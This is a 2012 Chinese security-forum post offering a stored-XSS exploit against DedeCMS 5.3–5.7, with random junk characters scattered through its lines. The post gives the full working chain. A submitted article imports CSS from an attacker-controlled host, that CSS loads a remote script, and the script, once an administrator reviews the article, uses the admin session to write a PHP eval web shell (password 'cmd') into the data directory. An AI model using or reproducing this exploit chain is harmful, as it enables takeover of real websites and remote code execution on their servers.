找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1637|回复: 0
打印 上一主题 下一主题

dedecms xss oday通杀所有版本 可getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 13:56:10 | 显示全部楼层 回帖奖励 |倒序浏览 |阅读模式
<DIV id=read_tpc mb10?>漏洞原因:由于编辑器过滤不严,将导致恶意脚本运行。可getshell; O7 o* X9 S5 s/ r3 R
为什么说它是ODay呢,能getshell的都算OD把`(鸡肋发挥起来也能变凤凰)
2 z  ~$ j" n  j目前只是测试过5.3到5.7版本。其他更早的版本大家就自由发挥吧。1 M! D1 V' U+ }' h& @* M% d
下面说说利用方法。
. b$ X3 Q4 w+ P2 k条件有2个:
! a6 O# ^) Q+ @" t4 P9 ]1.开启注册/ D! {" Z! l* P# \
2.开启投稿+ k7 p; m1 k) A2 Z
注册会员----发表文章
$ D" U0 ~4 e. s4 ?4 C内容填写:# p- k* p4 u% O6 P) m; l% m: B/ D
复制代码2 i2 D! ^* \0 O7 U* [  a6 P" j
<style>@im\port'\http://xxx.com/xss.css';</style>
) r/ N; b: |& C4 |$ H, _( p6 z新建XSS.Css  L  Z+ s* A* p) b8 ]- L
复制代码
+ z" f% \8 d" `. t# j/ L* G. E% P# ].body{5 |! ?- z7 c) A- M3 y3 H
background-image:url('javascript:document.write("<script src=http://xxx.com/xss.js></script>")') }
2 T/ A( X& w  T1 x新建xss.js 内容为$ I( f. N# O7 h, Q
复制代码( @; O9 ^1 a- T3 N9 F8 D0 A+ Q
1.var request = false;0 }8 M& U( V$ R: j! |# H
2.if(window.XMLHttpRequest) {* p; a* y( J$ z# Y; _
3.request = new XMLHttpRequest();
& M% x7 b- r) |& h9 A4.if(request.overrideMimeType) {$ x/ b* y" X0 N7 M
5.request.overrideMimeType('text/xml');
# T6 O2 G1 s; B# ]6.}
( R% K7 d- P. K* I7.} else if(window.ActiveXObject) {" x4 t- o6 M9 t* ]. ~
8.var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];* z/ m. D3 k+ w  [* I. R, g
9.for(var i=0; i<versions.length; i++) {
! V+ y, F# j( O+ Q9 D+ @10.try {& l' ^2 R2 ?% g' I3 C# s3 m0 N, d
11.request = new ActiveXObject(versions);
* L, l# t1 ~% p12.} catch(e) {}5 X% U7 O; r9 m: P$ \* V
13.}# T, f8 r$ X$ N) U4 U# E: b
14.}
6 h+ x/ A+ `4 V8 ^; e0 I: _% B15.xmlhttp=request;
# k7 P/ z4 J7 z5 s1 q, e8 Y% L16.function getFolder( url ){! I& x! Q  {5 F! J8 t( {
17. obj = url.split('/')
# z: B3 [5 X  d* R  a8 H6 E18. return obj[obj.length-2], S# v  L5 d0 t# |
19.}" a7 m6 _$ u2 I5 Y
20.oUrl = top.location.href;
1 G( C) u& @4 N  q: m21.u = getFolder(oUrl);3 c4 Q3 Y: a; `. M' C2 l2 c$ R6 k0 k
22.add_admin();0 x# O3 ^$ S8 q6 P. L
23.function add_admin(){; g! _7 K: @7 R4 I0 q$ b9 K3 i& a
24.var url= "/"+u+"/sys_sql_query.php";
" q5 @, t( C  B/ j4 ?25.var params ="fmdo=edit&backurl=&activepath=%2Fdata&filename=haris.php&str=<%3Fphp+eval%28%24_POST%5Bcmd%5D%29%3F>&B1=++%E4%BF%9D+%E5%AD%98++";& w5 s5 e' R. \+ @9 |- n! U: A
26.xmlhttp.open("POST", url, true);% M+ |: o! G0 @4 E& e3 k
27.xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");2 t5 G6 V9 x' \/ ?" L: l& U" p
28.xmlhttp.setRequestHeader("Content-length", params.length);1 w* I, k2 b/ ?; j+ b" {% K
29.xmlhttp.setRequestHeader("Connection", "Keep-Alive");2 H, J( @: \2 T0 j
30.xmlhttp.send(params);
7 N3 a0 P1 {+ g31.}
+ ]* x; U- E3 G  f+ \/ ^; Z当管理员审核这篇文章的时候,将自动在data目录生成一句话haris.php。密码cmd
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表